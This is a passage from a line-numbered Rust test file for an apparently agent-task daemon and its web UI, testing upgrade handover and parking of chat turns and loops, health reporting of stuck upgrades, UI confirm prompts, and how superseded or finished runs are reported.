15022 log.contains(if fail { "did not start" } else { "pid 4242" }),
15023 "{log}"
15024 );
15025 }
15026 }
15027
15028 #[tokio::test]
15031 async fn the_handover_signal_wakes_one_waiter_once() {
15032 let signal = Notify::new();
15033 signal.notify_one();
15035 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15036 .await
15037 .expect("an early signal is still seen");
15038 assert!(
15040 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15041 .await
15042 .is_err(),
15043 "a consumed signal must not wake a second time"
15044 );
15045 let signal = std::sync::Arc::new(signal);
15047 let waiter = tokio::spawn({
15048 let signal = std::sync::Arc::clone(&signal);
15049 async move { wait_for_handover(&signal).await }
15050 });
15051 tokio::time::sleep(Duration::from_millis(20)).await;
15052 assert!(!waiter.is_finished(), "nothing was signalled yet");
15053 signal.notify_one();
15054 tokio::time::timeout(Duration::from_secs(5), waiter)
15055 .await
15056 .expect("a late signal wakes the waiter")
15057 .expect("join");
15058 }
15059
15060 #[tokio::test]
15061 async fn health_says_how_long_a_handover_has_been_stuck() {
15062 let fx = Fixture::start().await;
15063 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15064 progress.advance(crate::updater::Stage::Replaced);
15065 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15066 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15067
15068 let health = fx.get("/api/health").await.json();
15069 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15070 assert!(stuck >= 600, "{stuck}");
15071 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15072 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15073 }
15074
15075 #[tokio::test]
15076 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15077 let home = tempfile::tempdir().expect("temp home");
15078 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15079 progress.advance(crate::updater::Stage::Parking);
15080 crate::updater::write_progress(home.path(), &progress).expect("seed");
15081 let mut again = progress.clone();
15083 again.advance(crate::updater::Stage::Replaced);
15084 crate::updater::write_progress(home.path(), &again).expect("replaced");
15085 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15086 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15087 let after = crate::updater::read_progress(home.path()).expect("record");
15088 assert_eq!(after.stage, crate::updater::Stage::Parking);
15089 }
15090
15091 #[tokio::test]
15092 async fn health_does_not_call_a_live_parking_wait_stuck() {
15093 let fx = Fixture::start().await;
15094 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15095 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15096 progress.advance(crate::updater::Stage::Parking);
15097 let hours = Duration::from_secs(3 * 3600);
15098 progress.started_at = Timestamp::now() - hours;
15099 progress.updated_at = Timestamp::now() - hours;
15100 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15101 let _lease = crate::updater::LeaseGuard::enter(
15102 fx.home.path(),
15103 Some("20260905-000000-cd51".to_owned()),
15104 );
15105
15106 let health = fx.get("/api/health").await.json();
15107 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15108 assert!(health["upgrade"]["stuck_kind"].is_null());
15109 assert_eq!(health["upgrade"]["handover_alive"], true);
15110 let waiting_on = health["upgrade"]["waiting_on"]
15111 .as_str()
15112 .expect("waiting_on");
15113 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15114 }
15115
15116 fn idle_ui(home: &TempDir) -> Ui {
15117 let runs = home.path().join("runs");
15118 std::fs::create_dir_all(&runs).expect("runs dir");
15119 Ui::new(
15120 Queue::at(home.path().join("queue")),
15121 Questions::at(home.path().join("questions")),
15122 Talks::at(home.path().join("talks")),
15123 runs,
15124 home.path().to_path_buf(),
15125 PathBuf::from("/repo/magi"),
15126 )
15127 .with_launch(launch_idle)
15128 }
15129
15130 async fn park_fixture(
15131 home: &TempDir,
15132 ) -> (
15133 Ui,
15134 Arc<Mutex<LoopState>>,
15135 Arc<Mutex<TalkTurns>>,
15136 tokio::task::JoinHandle<std::io::Result<()>>,
15137 ) {
15138 let ui = idle_ui(home);
15139 let looping = ui.looping();
15140 let turns = ui.turns();
15141 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15142 .await
15143 .expect("bind loopback");
15144 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15145 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15146 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15147 (ui, looping, turns, served)
15148 }
15149
15150 #[tokio::test]
15154 async fn hand_over_waits_for_a_running_chat_turn() {
15155 let home = TempDir::new().expect("temp home");
15156 let (ui, looping, turns, served) = park_fixture(&home).await;
15157 let ui = Arc::new(ui);
15158 let id = "20260901-000000-chat";
15159 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15160
15161 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15162 let handover = tokio::spawn({
15163 let home = home.path().to_path_buf();
15164 let turns = Arc::clone(&turns);
15165 let calls = Arc::clone(&calls);
15166 async move {
15167 hand_over(
15168 &home,
15169 &looping,
15170 &turns,
15171 &|_: &[String]| Duration::from_secs(60),
15172 served,
15173 move |_| {
15174 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15175 Ok(1)
15176 },
15177 )
15178 .await
15179 }
15180 });
15181
15182 let waiting = async {
15183 for _ in 0..200 {
15184 if crate::updater::read_progress(home.path())
15185 .is_some_and(|p| p.parked_talks == [id.to_owned()])
15186 {
15187 return;
15188 }
15189 tokio::time::sleep(Duration::from_millis(25)).await;
15190 }
15191 panic!("the park never named the chat turn");
15192 };
15193 waiting.await;
15194 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15195
15196 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15199 assert!(
15200 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15201 "a direct start says an upgrade is in progress"
15202 );
15203 assert!(
15204 ui.begin_queued_talk_turn("20260901-000000-late")
15205 .expect("queued claim")
15206 .is_none()
15207 );
15208 assert!(matches!(
15209 ui.begin_talk_turn_unless_pending("20260901-000000-late")
15210 .expect("start"),
15211 TalkTurnStart::Busy
15212 ));
15213 assert_eq!(turns.lock().unwrap().live.len(), 1);
15214
15215 let progress = crate::updater::read_progress(home.path()).expect("progress");
15217 let view = upgrade_progress_view(&ui, progress);
15218 assert!(
15219 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15220 "{:?}",
15221 view.waiting_on
15222 );
15223
15224 assert!(!handover.is_finished());
15225 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15226 drop(turn);
15227 handover.await.expect("join").expect("hand over");
15228 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15229 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15230 }
15231
15232 #[tokio::test]
15235 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
15236 let home = TempDir::new().expect("temp home");
15237 let (ui, looping, turns, served) = park_fixture(&home).await;
15238 let ui = Arc::new(ui);
15239 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
15241 lock_or_recover(&looping).live = Some(Live {
15242 stop: daemon::Stop::new(),
15243 handle: tokio::spawn(async move {
15244 let _ = loop_ended.await;
15245 }),
15246 opts: daemon::Opts::default(),
15247 });
15248
15249 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15250 let handover = tokio::spawn({
15251 let home = home.path().to_path_buf();
15252 let turns = Arc::clone(&turns);
15253 let calls = Arc::clone(&calls);
15254 async move {
15255 hand_over(
15256 &home,
15257 &looping,
15258 &turns,
15259 &|_: &[String]| Duration::from_secs(60),
15260 served,
15261 move |_| {
15262 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15263 Ok(1)
15264 },
15265 )
15266 .await
15267 }
15268 });
15269
15270 let reached = async {
15271 for _ in 0..200 {
15272 if crate::updater::read_progress(home.path())
15273 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
15274 {
15275 return;
15276 }
15277 tokio::time::sleep(Duration::from_millis(25)).await;
15278 }
15279 panic!("the hand-over never reached parking");
15280 };
15281 reached.await;
15282
15283 assert!(!turns.lock().unwrap().parking);
15285 let turn = ui
15286 .begin_talk_turn("20260901-000000-chat")
15287 .expect("claim")
15288 .expect("a turn can start while the loop parks");
15289
15290 end_loop.send(()).expect("loop still waiting");
15292 for _ in 0..200 {
15293 if turns.lock().unwrap().parking {
15294 break;
15295 }
15296 tokio::time::sleep(Duration::from_millis(25)).await;
15297 }
15298 assert!(
15299 turns.lock().unwrap().parking,
15300 "closed once the loop is done"
15301 );
15302 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15303 assert!(
15304 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15305 "no turn starts once the loop is done"
15306 );
15307 assert!(
15308 ui.begin_queued_talk_turn("20260901-000000-late")
15309 .expect("queued claim")
15310 .is_none()
15311 );
15312 assert!(!handover.is_finished());
15313 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15314
15315 drop(turn);
15316 handover.await.expect("join").expect("hand over");
15317 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15318 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15319 }
15320
15321 #[tokio::test]
15324 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15325 let home = TempDir::new().expect("temp home");
15326 let (ui, looping, turns, served) = park_fixture(&home).await;
15327 let id = "20260901-000000-stuk";
15328 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15329
15330 let calls = std::sync::atomic::AtomicUsize::new(0);
15331 hand_over(
15332 home.path(),
15333 &looping,
15334 &turns,
15335 &|_: &[String]| Duration::from_millis(300),
15336 served,
15337 |_| {
15338 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15339 Ok(1)
15340 },
15341 )
15342 .await
15343 .expect("hand over");
15344 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15345
15346 let progress = crate::updater::read_progress(home.path()).expect("progress");
15347 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15348 assert!(
15349 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15350 "{:?}",
15351 progress.detail
15352 );
15353 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15354 assert!(
15355 log.contains("handing over anyway") && log.contains(id),
15356 "{log}"
15357 );
15358 }
15359
15360 #[tokio::test]
15363 async fn drain_loop_starts_no_turn_while_parking() {
15364 let tmp = TempDir::new().expect("tempdir");
15365 let repo = tmp.path().join("repo");
15366 std::fs::create_dir_all(&repo).expect("repo dir");
15367 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15368 let home = TempDir::new().expect("temp home");
15369 let talks = Talks::at(home.path().join("talks"));
15370 let ui = Ui::new(
15371 Queue::at(home.path().join("queue")),
15372 Questions::at(home.path().join("questions")),
15373 talks.clone(),
15374 home.path().join("runs"),
15375 home.path().to_path_buf(),
15376 repo.clone(),
15377 )
15378 .with_worktrees_root(home.path().join("wt"));
15379 let cfg = config_for(&repo).await.expect("discover config");
15380 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15381 let id = talk.id.clone();
15382 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15383 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15384 let turns = ui.turns();
15385 let parking = ParkingTurns::begin(&turns);
15386
15387 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15388
15389 assert!(
15390 turns.lock().unwrap().live.is_empty(),
15391 "the slot is given up"
15392 );
15393 let fresh = talks.get(&id).expect("talk");
15394 assert_eq!(fresh.pending, "later", "the draft is still queued");
15395 assert!(fresh.turns.is_empty(), "no turn ran");
15396 drop(parking);
15397 }
15398
15399 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15401 let looping = ui.looping();
15402 let turns = ui.turns();
15403 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15404 .await
15405 .expect("bind loopback");
15406 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15407 let told = std::sync::Mutex::new(None);
15408 hand_over(
15409 home.path(),
15410 &looping,
15411 &turns,
15412 &|_: &[String]| Duration::from_secs(5),
15413 served,
15414 |resume| {
15415 *told.lock().unwrap() = Some(resume);
15416 Ok(1)
15417 },
15418 )
15419 .await
15420 .expect("hand over");
15421 told.into_inner().unwrap().expect("successor was started")
15422 }
15423
15424 #[tokio::test]
15425 async fn a_running_loop_is_resumed_by_the_successor() {
15426 let home = TempDir::new().expect("temp home");
15427 let ui = idle_ui(&home);
15428 ui.start_loop(None).expect("start");
15429 ui.park_for_upgrade().expect("park");
15430 for _ in 0..500 {
15432 if !ui.loop_view(None).running {
15433 break;
15434 }
15435 tokio::time::sleep(Duration::from_millis(2)).await;
15436 }
15437 assert!(handed_over(&home, ui).await, "a running loop must resume");
15438
15439 let successor = idle_ui(&home);
15440 assert!(!successor.loop_view(None).running);
15441 assert!(successor.resume_after_handover(true));
15442 assert!(successor.loop_view(None).running);
15443 successor.stop_loop(None, false).expect("stop");
15444 }
15445
15446 #[tokio::test]
15447 async fn a_second_upgrade_request_keeps_the_resume_intent() {
15448 let home = TempDir::new().expect("temp home");
15449 let ui = idle_ui(&home);
15450 ui.start_loop(None).expect("start");
15451 ui.park_for_upgrade().expect("first park");
15452 ui.park_for_upgrade().expect("second park");
15453 assert!(handed_over(&home, ui).await);
15454 }
15455
15456 #[tokio::test]
15457 async fn a_stop_during_the_handover_wait_is_honoured() {
15458 let home = TempDir::new().expect("temp home");
15459 let ui = idle_ui(&home);
15460 ui.start_loop(None).expect("start");
15461 ui.park_for_upgrade().expect("park");
15462 ui.stop_loop(None, false).expect("stop");
15463 assert!(!handed_over(&home, ui).await);
15464 }
15465
15466 #[tokio::test]
15467 async fn an_idle_loop_stays_stopped_across_the_handover() {
15468 let home = TempDir::new().expect("temp home");
15469 let ui = idle_ui(&home);
15470 ui.park_for_upgrade().expect("park");
15471 assert!(!handed_over(&home, ui).await);
15472
15473 let successor = idle_ui(&home);
15474 assert!(!successor.resume_after_handover(false));
15475 assert!(!successor.loop_view(None).running);
15476 }
15477
15478 #[tokio::test]
15479 async fn a_loop_the_operator_stopped_is_not_resumed() {
15480 let home = TempDir::new().expect("temp home");
15481 let ui = idle_ui(&home);
15482 ui.start_loop(None).expect("start");
15483 ui.stop_loop(None, false).expect("stop");
15484 ui.park_for_upgrade().expect("park");
15485 assert!(!handed_over(&home, ui).await);
15486 }
15487
15488 #[test]
15489 fn only_an_explicit_one_requests_a_resume() {
15490 assert!(!resume_requested(None));
15491 assert!(!resume_requested(Some("0".into())));
15492 assert!(!resume_requested(Some("".into())));
15493 assert!(resume_requested(Some("1".into())));
15494 }
15495
15496 #[test]
15497 fn the_upgrade_button_arms_before_it_restarts_anything() {
15498 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15501 assert!(APP_JS.contains("Replace the binary and restart?"));
15502 assert!(APP_JS.contains("function confirmed("));
15503 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15508 assert!(
15512 APP_JS.contains("Parking, then restarting"),
15513 "the button says what it is waiting for"
15514 );
15515 assert!(APP_JS.contains("if (!out.to)"));
15518 }
15519
15520 #[test]
15521 fn stopping_the_loop_arms_but_starting_does_not() {
15522 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15525 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15526 assert!(APP_JS.contains("confirmed(button, question)"));
15527 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
15530 assert!(APP_JS.contains("const label = btn.textContent;"));
15531 assert!(!APP_JS.contains("Neither direction is guarded"));
15532 }
15533
15534 #[test]
15535 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15536 assert!(
15537 APP_JS.contains("state.health.version"),
15538 "the operator wants to know what is running even with nothing newer"
15539 );
15540 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15541 }
15542
15543 #[test]
15544 fn the_upgrade_button_names_its_destination() {
15545 assert!(
15546 APP_JS.contains("`Update to ${update.to}`"),
15547 "pressing the button should not be a surprise about what it moves to"
15548 );
15549 }
15550
15551 #[test]
15552 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15553 for stage in ["downloading", "replaced", "parking", "restarting"] {
15554 assert!(
15555 APP_JS.contains(&format!("\"{stage}\"")),
15556 "the phone must be able to tell {stage} apart from the others"
15557 );
15558 }
15559 assert!(APP_JS.contains(".waiting_on"));
15560 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15565 assert!(APP_JS.contains("reconnects on its own"));
15566 }
15567
15568 #[test]
15569 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15570 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15579 ..APP_JS.find("function upgrade(").expect("upgrade")];
15580 assert!(
15581 !body.contains(
15582 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
15583 ),
15584 "a failed upgrade must not take the whole strip over the way it used to"
15585 );
15586 assert!(
15587 body.contains("upgradeFailNote"),
15588 "the failure has to reach the loop's own note instead"
15589 );
15590 assert_eq!(
15594 body.matches("upgradeFailNote].filter(Boolean).join")
15595 .count(),
15596 2,
15597 "both loop-why writers (quiet and control) must fold the note in"
15598 );
15599 }
15600
15601 #[test]
15602 fn an_overdue_upgrade_eventually_asks_for_a_human() {
15603 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15606 assert!(APP_JS.contains("function upgradeOverdue("));
15607 }
15608
15609 #[test]
15610 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15611 assert!(
15612 APP_JS.contains("Updated to ${upgradeInfo.to"),
15613 "the operator who asked for the restart wants to know it worked"
15614 );
15615 }
15616
15617 #[test]
15618 fn an_error_is_visible_from_where_the_button_is() {
15619 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15624 ..APP_CSS.find(".alert-text").expect(".alert-text")];
15625 assert!(
15626 alert.contains("position: fixed"),
15627 "an error about the thing under your thumb has to be visible from \
15628 where your thumb is: {alert}"
15629 );
15630 assert!(
15631 alert.contains("z-index: 25"),
15632 "above the dock (20) and the run-actions FAB (15), so neither \
15633 buries it: {alert}"
15634 );
15635 assert!(
15636 alert.contains("var(--tap)"),
15637 "and clear of the dock and the home indicator: {alert}"
15638 );
15639 assert!(
15642 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15643 "the FAB's column stays free: {alert}"
15644 );
15645 }
15646
15647 #[tokio::test]
15648 async fn an_older_attempt_says_what_replaced_it() {
15649 let fx = Fixture::start().await;
15650 let q = fx.queue();
15651 let runs = fx.runs();
15652 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15653 write_run(&runs, first, RunStatus::Stalled);
15654 write_run(&runs, second, RunStatus::Blocked);
15655
15656 let mut t = Task::new(
15657 "one task".to_owned(),
15658 "do it".to_owned(),
15659 PathBuf::from("/repo"),
15660 Source::Human,
15661 );
15662 t.runs = vec![first.to_owned(), second.to_owned()];
15663 q.put(&mut t).expect("put");
15664
15665 let rows = fx.get("/api/runs").await.json();
15669 let by = |short: &str| -> Value {
15670 rows.as_array()
15671 .unwrap()
15672 .iter()
15673 .find(|r| r["short"] == short)
15674 .cloned()
15675 .unwrap_or(Value::Null)
15676 };
15677 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15678 assert!(
15679 by("bbbb")["superseded_by"].is_null(),
15680 "the latest attempt is not superseded by anything"
15681 );
15682 assert!(APP_JS.contains("run.superseded_by"));
15684 assert!(APP_JS.contains("Superseded by"));
15685 }
15686
15687 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15688 let mut t = Task::new(
15689 "one task".to_owned(),
15690 "do it".to_owned(),
15691 PathBuf::from("/repo"),
15692 Source::Human,
15693 );
15694 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15695 t.status = status;
15696 t
15697 }
15698
15699 #[test]
15700 fn source_link_picks_the_page_that_filed_the_task() {
15701 let agent = |node: &str| Source::Agent {
15702 run: "20260904-014455-ab12".to_owned(),
15703 node: node.to_owned(),
15704 };
15705 let chat = source_link(&agent("chat")).expect("chat link");
15706 assert_eq!(chat.kind, "chat");
15707 assert_eq!(chat.id, "20260904-014455-ab12");
15708 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15709 let run = source_link(&agent("implement")).expect("run link");
15710 assert_eq!(
15711 (run.kind, run.href.as_str()),
15712 ("run", "#/runs/20260904-014455-ab12")
15713 );
15714 assert_eq!(source_link(&Source::Human), None);
15715 assert_eq!(
15716 source_link(&Source::Issue {
15717 number: 3,
15718 repo: "o/r".to_owned()
15719 }),
15720 None
15721 );
15722 let odd = source_link(&Source::Agent {
15723 run: "a b/c".to_owned(),
15724 node: "chat".to_owned(),
15725 })
15726 .expect("link");
15727 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15728 }
15729
15730 #[test]
15731 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15732 assert!(
15733 !APP_JS.contains("src.node === \"chat\""),
15734 "inline href rule is back"
15735 );
15736 assert!(
15737 APP_JS.matches("sourceLinkOf(").count() >= 4,
15738 "helper must serve every page"
15739 );
15740 assert!(
15741 APP_JS.matches("openChatLink(").count() >= 3,
15742 "the run page still needs its explicit chat link"
15743 );
15744 assert!(
15745 !APP_JS.contains("const openChat = el("),
15746 "the Queue card duplicates its source label link again"
15747 );
15748 assert!(
15749 APP_JS.contains("metaKids.push(link ? el(\"a\""),
15750 "the task page must link a chat source label too"
15751 );
15752 }
15753
15754 #[test]
15755 fn task_ref_carries_the_source_link_for_a_chat_task() {
15756 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15757 t.source = Source::Agent {
15758 run: "20260904-014455-ab12".to_owned(),
15759 node: "chat".to_owned(),
15760 };
15761 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15762 let v = serde_json::to_value(&out).expect("json");
15763 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15764 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15765 assert_eq!(v["source_label"], t.source.label());
15766
15767 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15768 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15769 .expect("json");
15770 assert!(v["source_link"].is_null(), "{v}");
15771 }
15772
15773 #[test]
15774 fn task_view_serializes_source_link() {
15775 let mut t = Task::new(
15776 "t".to_owned(),
15777 "t".to_owned(),
15778 PathBuf::from("/repo"),
15779 Source::Agent {
15780 run: "20260901-000000-aaaa".to_owned(),
15781 node: "implement".to_owned(),
15782 },
15783 );
15784 t.runs.clear();
15785 let v = serde_json::to_value(TaskView::from(t)).expect("json");
15786 assert_eq!(v["source_link"]["kind"], "run", "{v}");
15787 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15788 }
15789
15790 #[tokio::test]
15791 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15792 let fx = Fixture::start().await;
15793 let runs = fx.runs();
15794 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15795 write_run(&runs, old, RunStatus::Blocked);
15796 write_run(&runs, new, RunStatus::Merged);
15797 let mut t = outcome_task(&[old, new], TaskStatus::Done);
15798 fx.queue().put(&mut t).expect("put");
15799
15800 let view = fx.get(&format!("/api/runs/{old}")).await.json();
15801 let task = &view["task"];
15802 assert_eq!(task["status"], "done");
15803 assert_eq!(task["is_latest"], false);
15804 assert_eq!(task["latest"]["short"], "bbbb");
15805 assert_eq!(task["finished_by"]["id"], new);
15806 assert_eq!(task["finished_by"]["outcome"], "merged");
15807 assert_eq!(task["closed_by_hand"], false);
15808 assert_eq!(view["status"], "blocked", "the run keeps its own status");
15809 assert!(APP_JS.contains("finished_by"));
15810 assert!(APP_JS.contains("superseded by run"));
15811 }
15812
15813 #[tokio::test]
15814 async fn the_latest_run_reports_a_held_task_without_a_successor() {
15815 let fx = Fixture::start().await;
15816 let runs = fx.runs();
15817 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15818 write_run(&runs, old, RunStatus::Stalled);
15819 write_run(&runs, new, RunStatus::Blocked);
15820 let mut t = outcome_task(&[old, new], TaskStatus::Held);
15821 fx.queue().put(&mut t).expect("put");
15822
15823 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15824 assert_eq!(task["status"], "held");
15825 assert_eq!(task["is_latest"], true);
15826 assert!(task["latest"].is_null());
15827 assert!(task["finished_by"].is_null());
15828 assert_eq!(task["closed_by_hand"], false);
15829 }
15830
15831 #[tokio::test]
15832 async fn a_direct_run_has_no_task_outcome() {
15833 let fx = Fixture::start().await;
15834 let runs = fx.runs();
15835 let id = "20260901-000000-aaaa";
15836 write_run(&runs, id, RunStatus::Blocked);
15837 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15838 assert!(view["task"].is_null());
15839 }
15840
15841 #[test]
15842 fn task_outcome_does_not_guess_a_finishing_run() {
15843 let a = "20260901-000000-aaaa";
15844 let b = "20260901-000000-bbbb";
15845 let c = "20260901-000000-cccc";
15846 let dir = tempfile::tempdir().expect("tempdir");
15847 write_run(dir.path(), a, RunStatus::Blocked);
15848 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15849 let read = |id: &str| read_run(dir.path(), id).ok();
15851 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15854 let out = task_outcome(&t, a, 3, read);
15855 assert!(out.finished_by.is_none());
15856 assert!(out.closed_by_hand);
15857 let latest = out.latest.expect("latest");
15858 assert_eq!(latest.id, c);
15859 assert_eq!(latest.status, None);
15860 assert_eq!(latest.outcome, "record unreadable");
15861
15862 write_run(dir.path(), c, RunStatus::Ready);
15864 let t = outcome_task(&[a, c], TaskStatus::Done);
15865 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15866 assert_eq!(out.finished_by.expect("finisher").id, c);
15867 assert!(!out.closed_by_hand);
15868
15869 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15871 assert!(task_outcome(&t, a, 3, read).is_latest);
15872 }
15873
15874 #[tokio::test]
15875 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15876 let fx = Fixture::start().await;
15881 let q = fx.queue();
15882 let runs = fx.runs();
15883 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15884 write_run(&runs, first, RunStatus::Blocked);
15885 write_run(&runs, second, RunStatus::Merged);
15886
15887 let mut t = Task::new(
15888 "one task".to_owned(),
15889 "do it".to_owned(),
15890 PathBuf::from("/repo"),
15891 Source::Human,
15892 );
15893 t.runs = vec![first.to_owned(), second.to_owned()];
15894 q.put(&mut t).expect("put");
15895
15896 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15897 assert_eq!(earlier["superseded_by"], "dddd");
15898 assert_eq!(earlier["latest_attempt"]["id"], second);
15899 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15900 assert_eq!(
15901 earlier["latest_attempt"]["resolved"], true,
15902 "the run that replaced it landed, so this one reads as settled"
15903 );
15904
15905 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15906 assert!(
15907 later["superseded_by"].is_null(),
15908 "the latest attempt is not superseded by anything"
15909 );
15910 assert!(
15911 later["latest_attempt"].is_null(),
15912 "the latest attempt has no later attempt of its own"
15913 );
15914
15915 assert!(APP_JS.contains("run.latest_attempt"));
15922 assert!(APP_JS.contains("data-superseded"));
15923 assert!(APP_JS.contains("#/runs/${latest.id}"));
15924 }
15925
15926 #[tokio::test]
15927 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15928 let fx = Fixture::start().await;
15934 let q = fx.queue();
15935 let runs = fx.runs();
15936 let (a, b, c) = (
15937 "20260901-000000-aaaa",
15938 "20260901-000000-bbbb",
15939 "20260901-000000-cccc",
15940 );
15941 write_run(&runs, a, RunStatus::Blocked);
15942 write_run(&runs, b, RunStatus::Blocked);
15943 write_run(&runs, c, RunStatus::Merged);
15944
15945 let mut t = Task::new(
15946 "retried twice".to_owned(),
15947 "do it".to_owned(),
15948 PathBuf::from("/repo"),
15949 Source::Human,
15950 );
15951 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15952 q.put(&mut t).expect("put");
15953
15954 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15955 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15956 assert_eq!(
15957 view["latest_attempt"]["id"], c,
15958 "the chain's current head, not the intermediate Blocked retry"
15959 );
15960 assert_eq!(view["latest_attempt"]["resolved"], true);
15961
15962 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15963 assert_eq!(mid["latest_attempt"]["id"], c);
15964 assert_eq!(mid["latest_attempt"]["resolved"], true);
15965 }
15966
15967 #[tokio::test]
15968 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15969 let fx = Fixture::start().await;
15970 let q = fx.queue();
15971 let runs = fx.runs();
15972
15973 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15976 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15977 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15978 let mut t1 = Task::new(
